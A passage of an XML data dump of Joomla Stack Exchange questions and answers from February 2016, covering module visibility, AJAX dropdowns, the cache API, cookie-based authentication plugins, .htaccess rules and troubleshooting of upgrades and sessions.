href=&quot;https://joomla.digital-peak.com/documentation/162-dpfields&quot; rel=&quot;nofollow&quot;&gt;https://joomla.digital-peak.com/documentation/162-dpfields&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2016-02-25T00:51:24.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15396" PostTypeId="1" CreationDate="2016-02-25T08:41:01.420" Score="1" ViewCount="392" Body="&lt;p&gt;How I can hide module from custom Joomla group? I want module to be visible for registered users but hide it from paid 'premium' registered users.&lt;/p&gt;&#xA;" OwnerUserId="7857" LastActivityDate="2016-03-02T02:53:00.350" Title="Hide module from custom user group" Tags="|joomla-3.x|user|user-groups|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15397" PostTypeId="1" CreationDate="2016-02-25T09:03:39.913" Score="0" ViewCount="770" Body="&lt;p&gt;i have two dropdown getting value from database:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Table_Buildings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|id|---|building_name|&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Table_Floors&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|id|---|Floor_name|---|building(Foreign key to table_Buildings)|&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in my form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dropdown: building)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery(&quot;SELECT buildings.building_name, floors.id FROM buildings INNER JOIN floors ON buildings.id=floors.id&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Dropdown: floor)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery(&quot;SELECT floor_name, id FROM floors&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For filtering my dropdown i want to use this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;var xhr;&#xA;jQuery(function($) {&#xA;$('#filter_building').change(function(){&#xA;    var filterBuilding = $('#filter_building').val(); &#xA;    if (xhr &amp;amp;&amp;amp; xhr.abort) {xhr.abort();xhr=false;}&#xA;    xhr = jQuery.ajax( {&#xA;            url: 'index.php', &#xA;            data: 'option=com_mycomponent', &#xA;            success: function(data){&#xA;                jQuery('#filter_building').replaceWith(data);&#xA;            } }&#xA;    );&#xA;});&#xA;});&#xA;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but somewhere is wrong and its not working &lt;/p&gt;&#xA;" OwnerUserId="7855" LastActivityDate="2016-02-25T13:02:49.160" Title="Filtering dropdown form with jquery.ajax" Tags="|joomla-3.x|javascript|jquery|ajax|rsform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15398" PostTypeId="2" ParentId="15369" CreationDate="2016-02-25T09:38:28.597" Score="1" Body="&lt;p&gt;Very good explanation why do we have &quot;Duplicate Links&quot; in Joomla, you can find here on JSE in&lt;br&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4164/how-to-deal-with-duplicated-content-urls-in-joomla/5541#5541&quot;&gt;How to deal with Duplicated Content / URLs in Joomla?&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is hard to add anything more to this essay from @FFrewin, except that it is something we all have to learn how to live with if we are using Joomla, or any other CMS for that matter.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-02-25T09:38:28.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15400" PostTypeId="2" ParentId="15397" CreationDate="2016-02-25T13:02:49.160" Score="1" Body="&lt;p&gt;To solve a similar request, I have implemented &lt;a href=&quot;http://www.appelsiini.net/projects/chained&quot; rel=&quot;nofollow&quot;&gt;Chained Selects Plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;mark&quot; name=&quot;mark&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;bmw&quot;&amp;gt;BMW&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;audi&quot;&amp;gt;Audi&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;select id=&quot;series&quot; name=&quot;series&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;series-3&quot; class=&quot;bmw&quot;&amp;gt;3 series&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;series-5&quot; class=&quot;bmw&quot;&amp;gt;5 series&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;series-6&quot; class=&quot;bmw&quot;&amp;gt;6 series&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;a3&quot; class=&quot;audi&quot;&amp;gt;A3&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;a4&quot; class=&quot;audi&quot;&amp;gt;A4&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;a5&quot; class=&quot;audi&quot;&amp;gt;A5&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this way, you can simplify render the proper structure and leave the JavaScript details to the plugin (that's amazing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;http://www.appelsiini.net/projects/chained&quot; rel=&quot;nofollow&quot;&gt;Using Remote Version&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-02-25T13:02:49.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15401" PostTypeId="1" CreationDate="2016-02-25T14:41:10.770" Score="3" ViewCount="239" Body="&lt;p&gt;UPDATE:&#xA;Because this is going to a client I am looking for a solution that does not involve creating new menu items for each new tag that is added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a blog that includes tags. The tags are displayed next to the blog articles but once I click on a tag to view the articles associated with that tag (tag search) I'm not able to place a module on that page. My current solution, which isn't ideal, is to place the module that I want to display on the page to &quot;on all pages except those selected&quot;. Are there any other solutions to this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached a couple images. You'll on the &quot;Blog page&quot; the tags to the right of the screen are a module. In the &quot;Tag Search&quot; page you'll see the module isn't there. I do have a menu item for the &quot;Tag Search&quot; page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZcTSd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZcTSd.jpg&quot; alt=&quot;tag search page&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/niZEq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/niZEq.jpg&quot; alt=&quot;blog page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7859" LastEditorUserId="115" LastEditDate="2016-02-25T23:46:32.873" LastActivityDate="2017-07-20T13:04:48.123" Title="How can I add modules to the tag search component page without adding menus for each tag item?" Tags="|joomla-3.4|module|tags|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15402" PostTypeId="2" ParentId="15388" CreationDate="2016-02-25T14:47:48.580" Score="1" Body="&lt;p&gt;Ultimately, I got what I needed using a combination of tools:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://samjlevy.com/use-php-and-ldap-to-list-members-of-an-active-directory-group-v3/&quot; rel=&quot;nofollow&quot;&gt;https://samjlevy.com/use-php-and-ldap-to-list-members-of-an-active-directory-group-v3/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get the listing itself, although this was a stand-alone PHP script, and:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://2glux.com/projects/jumi&quot; rel=&quot;nofollow&quot;&gt;http://2glux.com/projects/jumi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To embed the script inside Joomla, and output the results inside Joomla itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still tweaking the output of the PHP script to get the results I want, but it's getting there.&lt;/p&gt;&#xA;" OwnerUserId="419" LastActivityDate="2016-02-25T14:47:48.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15405" PostTypeId="1" AcceptedAnswerId="15408" CreationDate="2016-02-26T03:08:56.713" Score="5" ViewCount="407" Body="&lt;p&gt;I'm updating an old bit of custom Joomla plugin, and there's a deprecated line saying &lt;code&gt;JResponse::allowCache(false);&lt;/code&gt; -- what's the &quot;right&quot; way to handle this for Joomla 3.x compatibility?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, perhaps this could be a separate question, but is there a way to set key =&gt; value pairs manually in the Joomla cache? For example, this plugin does lookups for US states. So if it's displaying a lot of information, it has to hit the DB over and over looking for the state abbreviation, when we could simply cache this response.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2016-03-13T14:53:20.153" Title="Updating deprecated methods" Tags="|joomla-3.x|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15406" PostTypeId="1" CreationDate="2016-02-26T03:20:43.373" Score="1" ViewCount="73" Body="&lt;p&gt;Im new to Joomla and trying to figure out how to use search.&#xA;I have three categories: French level 1, French level 2, French level 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do search for French level 1, all three categories come up in my search results. In addition to this problem, the results display with the category name at the top (rather than the article name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated! Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7862" LastActivityDate="2016-04-01T04:03:47.500" Title="Problems with Search" Tags="|category|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15407" PostTypeId="2" ParentId="15401" CreationDate="2016-02-26T04:54:15.763" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.nonumber.nl/extensions/advancedmodulemanager#assignment-options&quot; rel=&quot;nofollow&quot;&gt;The documentation for Nonumber's Advanced Module Manager&lt;/a&gt; seems to suggest that you could assign modules to tags using that extension. I believe the tags feature comes with the free version. Please note that I have not investigated this feature, so there is a good chance that it works differently to how I've described.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2016-02-26T04:54:15.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15408" PostTypeId="2" ParentId="15405" CreationDate="2016-02-26T06:57:48.930" Score="5" Body="&lt;p&gt;&lt;code&gt;JResponse::allowCache(false);&lt;/code&gt; replacement is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;allowCache(false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To set &lt;code&gt;key =&amp;gt; value&lt;/code&gt; cache items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get cache instance&#xA;$cache = JFactory::getCache();&#xA;&#xA;// Store in cache&#xA;$cacheItemStored = $cache-&amp;gt;store($value, $key, $group = null); // boolean&#xA;&#xA;// Get from cache&#xA;$value = $cache-&amp;gt;get($key, $group = null);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see you can set optional &lt;code&gt;$group&lt;/code&gt;. This is useful for cleaning all cache in specific group or not in specific group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cache-&amp;gt;clean('groupName'); // will clean all cache IN &quot;groupName&quot; group&#xA;$cache-&amp;gt;clean('groupName', 'notgroup'); // will clean all cache NOT IN &quot;groupName&quot; group&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-03-13T14:53:20.153" LastActivityDate="2016-03-13T14:53:20.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15410" PostTypeId="5" CreationDate="2016-02-26T11:45:41.527" Score="0" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/chronoforms&quot; rel=&quot;nofollow&quot;&gt;ChronoForms&lt;/a&gt;&lt;/strong&gt; is a forms utility for Joomla which includes a form builder, forms to email and forms to database. A component, module and content plugin are provided.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;History&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;ChronoForms has been available since the early days of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ChronoForms v3 is available for Joomla 1.5.&lt;/li&gt;&#xA;&lt;li&gt;ChronoForms v4 is available for Joomla 1.5, 2.5 and 3.x.&lt;/li&gt;&#xA;&lt;li&gt;ChronoForms v5 is available for Joomla 2.5 and 3.x.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Links&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.chronoengine.com/downloads/chronoforms.html&quot; rel=&quot;nofollow&quot;&gt;ChronoForms Downloads&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.chronoengine.com/faqs.html&quot; rel=&quot;nofollow&quot;&gt;ChronoForms FAQs&lt;/a&gt;&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.chronoengine.com/forums.html&quot; rel=&quot;nofollow&quot;&gt;ChronoForms Forums&lt;/a&gt;&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-02-26T14:00:32.273" LastActivityDate="2016-02-26T14:00:32.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15411" PostTypeId="4" CreationDate="2016-02-26T11:45:41.527" Score="0" Body="ChronoForms is a forms utility for Joomla including a form builder, forms to email and forms to database." OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-02-26T14:01:10.417" LastActivityDate="2016-02-26T14:01:10.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15413" PostTypeId="1" CreationDate="2016-02-26T15:35:26.320" Score="0" ViewCount="1495" Body="&lt;p&gt;We have an external login system which creates set of cookies. My joomla site and external site (which is responsible to login a user) are on the same domain so I can access the cookies being set by external site.&#xA;I want to login user automatically using those cookies in Joomla if user exists and if user doesn't exists, I want to create a user and log them in automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please point me in a right direction what plugin to use so that it is a seamless experience to a user and user will never realize that they are being authenticated in some other system and logged in automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone has done it before, and post the code snippet, that will be very helpful so that I don't have to re-invent the wheel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7811" LastEditorUserId="3650" LastEditDate="2016-03-08T00:33:55.890" LastActivityDate="2021-12-08T21:02:15.197" Title="Programmatically login user from cookies" Tags="|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15414" PostTypeId="2" ParentId="15413" CreationDate="2016-02-26T15:57:35.973" Score="1" Body="&lt;p&gt;You have to create an &quot;authentication&quot; plugin to read cookies and auto-login the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply duplicate and modify any of the &quot;authentication&quot; plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;Creating an Authentication Plugin for Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-02-26T15:57:35.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15415" PostTypeId="1" CreationDate="2016-02-26T17:07:34.203" Score="1" ViewCount="143" Body="&lt;p&gt;I don't know if this is a real issue since I am seeing it mostly when using an emulator, but it seems to be reproducible, and I noticed it on a friend's Android device.  URL is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://marinasol.com/component/osproperty/beautiful-town-view-condo-001&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link To Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On some devices, particular iPad Retina emulator, when you click on the hamburger it moves the body of the page to the right as expected, but the side menu area is completely blank, despite the fact that there are elements there and you can click on them, they just are not showing up, so they are being rendered but the whole sidebar is just blank (see picture)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PsD2M.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PsD2M.png&quot; alt=&quot;iPad Retina&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did discover a useful feature on the developer menu with Safari that I was not aware of.  You can go to Develop -&gt; Simulator and use the inspector for the page that is loaded in your simulator.  Quite a nice feature, but still not able to quite figure out what the issue is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is using a Joomla! template and looking at the source seems like it could use a lot of tweaking because there are a ton of .css and .js resources, some of which probably are not needed and some which probably conflict with one another, some which are not needed on the front end, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7868" LastActivityDate="2016-03-29T09:59:53.453" Title="Strange issue with mobile menu with Joomla! template" Tags="|joomla-3.x|css|bootstrap|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15417" PostTypeId="1" CreationDate="2016-02-26T21:19:42.147" Score="2" ViewCount="1109" Body="&lt;p&gt;I have a menu in joomla that appears on all pages. Some of the items in the menu should be the same on every page, while others need to be dynamically updated based on the page the user is on. I am trying to create an override for the &quot;external url&quot; menu item type (listed under system links), that would allow me to create a menu item parameter the user could populate. Then, I could use this parameter in the menu template to determine what needs to be added to that particular link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to add additional parameters to menu items for custom components by editing their xml files. And I know Joomla allows overrides of these files, but I don't think the &quot;external url&quot; menu item is created from an xml file. How could I add an additional parameter to these menu items? Do I need to create some kind of plugin or am I asking for the impossible? &lt;/p&gt;&#xA;" OwnerUserId="7869" LastActivityDate="2016-05-05T09:36:35.863" Title="Add a parameter to &quot;external url&quot; menu item" Tags="|menu-item|menu|menu-parameters|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15423" PostTypeId="2" ParentId="19" CreationDate="2016-02-27T08:27:12.683" Score="3" Body="&lt;p&gt;You also can use this code in your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST}  ^www.your domain [nocase]&#xA;RewriteRule ^(.*)         http://your domain/$1 [last,redirect=301]&#xA;RewriteEngine on&#xA;&amp;lt;ifmodule mod_deflate.c&amp;gt;&#xA;AddOutputFilterByType DEFLATE text/text text/html text/plain text/xml text/css application/x-javascript application/javascript text/javascript&#xA;&amp;lt;/ifmodule&amp;gt;&#xA;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;ExpiresActive On&#xA;ExpiresByType image/jpg &quot;access 1 year&quot;&#xA;ExpiresByType image/jpeg &quot;access 1 year&quot;&#xA;ExpiresByType image/gif &quot;access 1 year&quot;&#xA;ExpiresByType image/png &quot;access 1 year&quot;&#xA;ExpiresByType text/css &quot;access 1 month&quot;&#xA;ExpiresByType text/html &quot;access 1 month&quot;&#xA;ExpiresByType application/pdf &quot;access 1 month&quot;&#xA;ExpiresByType text/x-javascript &quot;access 1 month&quot;&#xA;ExpiresByType application/x-shockwave-flash &quot;access 1 month&quot;&#xA;ExpiresByType image/x-icon &quot;access 1 year&quot;&#xA;ExpiresDefault &quot;access 1 month&quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7878" LastEditorUserId="3374" LastEditDate="2016-02-27T08:58:10.200" LastActivityDate="2016-02-27T08:58:10.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15424" PostTypeId="1" AcceptedAnswerId="15425" CreationDate="2016-02-27T12:04:41.327" Score="1" ViewCount="1757" Body="&lt;p&gt;Error displaying the error page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Application Instantiation Error&lt;/strong&gt;:&lt;br&gt;&#xA;  No database selected SQL=SELECT `session_id` FROM `n0n8z_session` WHERE `session_id` = 'iqi1ntjfnva5c487rajj790a74' LIMIT 0, 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This error occurs when I try to load a Joomla site into my localhost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My configuration is correct. What can be problem?&lt;/p&gt;&#xA;" OwnerUserId="7343" LastEditorUserId="12352" LastEditDate="2019-06-30T22:27:31.337" LastActivityDate="2019-06-30T22:27:31.337" Title="&quot;Application Instantiation Error&quot; with #__session table" Tags="|joomla-3.x|session|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15425" PostTypeId="2" ParentId="15424" CreationDate="2016-02-27T13:52:04.120" Score="1" Body="&lt;p&gt;From your Q '&lt;a href=&quot;https://stackoverflow.com/questions/35669237/session-doesnt-exist-joomla&quot;&gt;Session doesn't exist joomla&lt;/a&gt;' posted on SO, I can see in your comment &quot;i&lt;em&gt;n phpmyadmin, only some tables displayed. But in mysql/data folder all tables exist&lt;/em&gt;&quot; that obviously process &quot;&lt;em&gt;I have copied my project and its database to wamp server.&lt;/em&gt;&quot; somehow went wrong.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For transfering Joomla site correctly I would recommend using leading Joomla extension &lt;a href=&quot;http://extensions.joomla.org/extension/akeeba-backup&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt;. Install free Core version on source site, and follow &lt;a href=&quot;https://www.akeebabackup.com/documentation/akeeba-backup-documentation/a-typical-backup-restoration-workflow.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; to create installable archive, which will have all it's files and database(s). That archive you will then unpack in the root folder of destination site, go to it's URL in browser, complete Mini-Installation process which will correctly upload database(s) to new location and create correct configuration file for the new site, thus creating exact copy of source site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using this extension since 2007 and Joomla 1.0, when it was still&#xA;called JoomlaPack. Also, searching JSE for 'akeeba' will yield bunch of questions, answers and comments regrading this must-have J! Ext.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-02-27T14:19:48.483" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15427" PostTypeId="1" AcceptedAnswerId="15432" CreationDate="2016-02-28T00:36:41.687" Score="4" ViewCount="984" Body="&lt;p&gt;Sorry I can't be more specific, but I'm so broken that I can't even find out my version numbers any more. I was following the instructions for upgrading from 2.5 to 3, and I had upgraded to the latest 2.5 release (2.5.28 or something like that, I think) and when I finally got to the point of telling it to install 3.x, it took some time downloading and extracting, then gave me an error. Now whenever I go to use the site, all I can get is:&#xA;Fatal error: Class 'T3Path' not found in /home/&lt;em&gt;myusername&lt;/em&gt;/sgdk2.enigmadream.com/plugins/system/jat3/jat3/core/common.php on line 68&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't being particularly meticulous in following the instructions because the site was already broken, which was why I was upgrading in the first place. (My Jooma download component was just giving me an empty white page.) Nevertheless I have 2 backups I'm considering going back to, but wanted to check if this was a known problem or if there was some other solution here. I had left the site unattended for a couple years, so maybe some hacker got in and corrupted me while I wasn't paying attention. But the site was still operational before the upgrade; now I've got nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually before I was getting the error above I had a different error that I tried to resolve by editing code. I should probably show that error too because it's more likely to be the one that someone would have seen first:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning:&#xA;  require_once(/home/&lt;em&gt;myusername&lt;/em&gt;/sgdk2.enigmadream.com/plugins/system/jat3DSjat3DScoreDScommon.php):&#xA;  failed to open stream: No such file or directory in&#xA;  /home/&lt;em&gt;myusername&lt;/em&gt;/sgdk2.enigmadream.com/plugins/system/jat3/jat3.php&#xA;  on line 19&#xA;       Fatal error: require_once(): Failed opening required '/home/&lt;em&gt;myusername&lt;/em&gt;/sgdk2.enigmadream.com/plugins/system/jat3DSjat3DScoreDScommon.php'&#xA;  (include_path='.:/usr/local/lib/php:/usr/local/php5/lib/pear') in&#xA;  /home/&lt;em&gt;myusername&lt;/em&gt;/sgdk2.enigmadream.com/plugins/system/jat3/jat3.php&#xA;  on line 19&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I rename my jat3 and jdownloads directories, then I think it skips the really bad errors and gets me to the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1054 - Unknown column 'c.version' in 'field list' SQL=SELECT c.id,&#xA;  c.asset_id, c.access, c.alias, c.checked_out, c.checked_out_time,&#xA;  c.created_time, c.created_user_id, c.description, c.extension, c.hits,&#xA;  c.language, c.level, c.lft, c.metadata, c.metadesc, c.metakey,&#xA;  c.modified_time, c.note, c.params, c.parent_id, c.path, c.published,&#xA;  c.rgt, c.title, c.modified_user_id, c.version, CASE WHEN&#xA;  CHAR_LENGTH(c.alias) != 0 THEN CONCAT_WS(':', c.id, c.alias) ELSE c.id&#xA;  END as slug FROM j25_categories as c LEFT JOIN j25_categories AS s ON&#xA;  (s.lft &amp;lt;= c.lft AND s.rgt &gt;= c.rgt) OR (s.lft &gt; c.lft AND s.rgt &amp;lt;&#xA;  c.rgt) LEFT JOIN (SELECT cat.id as id FROM j25_categories AS cat JOIN&#xA;  j25_categories AS parent ON cat.lft BETWEEN parent.lft AND parent.rgt&#xA;  WHERE parent.extension = 'com_content' AND parent.published != 1 GROUP&#xA;  BY cat.id) AS badcats ON badcats.id = c.id WHERE&#xA;  (c.extension='com_content' OR c.extension='system') AND c.access IN&#xA;  (1,1) AND c.published = 1 AND s.id=8 AND badcats.id is null GROUP BY&#xA;  c.id, c.asset_id, c.access, c.alias, c.checked_out,&#xA;  c.checked_out_time, c.created_time, c.created_user_id, c.description,&#xA;  c.extension, c.hits, c.language, c.level, c.lft, c.metadata,&#xA;  c.metadesc, c.metakey, c.modified_time, c.note, c.params, c.parent_id,&#xA;  c.path, c.published, c.rgt, c.title, c.modified_user_id, c.version&#xA;  ORDER BY c.lft&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After restorign from backup, all I get is a blank page on a front end and the following error on the back end:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method JAdministrator::setHeader() in /home/&lt;em&gt;myusername&lt;/em&gt;/sgdk2.enigmadream.com/libraries/cms/html/behavior.php on line 765&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7884" LastEditorUserId="7884" LastEditDate="2016-02-28T00:56:51.540" LastActivityDate="2016-02-28T14:46:54.243" Title="Catastrophic Upgrade Error" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15428" PostTypeId="2" ParentId="15427" CreationDate="2016-02-28T01:41:51.290" Score="1" Body="&lt;p&gt;If the old website can't easily be recovered, one option may be to build a new Joomla website using the latest version (currently Joomla v3.4.8) in a sub directory and then use &lt;a href=&quot;http://extensions.joomla.org/extension/sp-transfer&quot; rel=&quot;nofollow&quot;&gt;SP Transfer&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/migration-a-conversion/joomla-migration/ji-migrator&quot; rel=&quot;nofollow&quot;&gt;Ji Migrator&lt;/a&gt; or similar to migrate content from the old website to the new website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SP Transfer helps with transferring content from Joomla 2.5 to 3.x (and 2.5 to 2.5 and 3.x to 3.x and other combinations) including Users, Menus, Categories, Articles, Contacts and Modules etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ji Migrator is similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on SP Transfer, see: &lt;a href=&quot;http://www.kainotomo.com/products/sp-transfer&quot; rel=&quot;nofollow&quot;&gt;http://www.kainotomo.com/products/sp-transfer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on 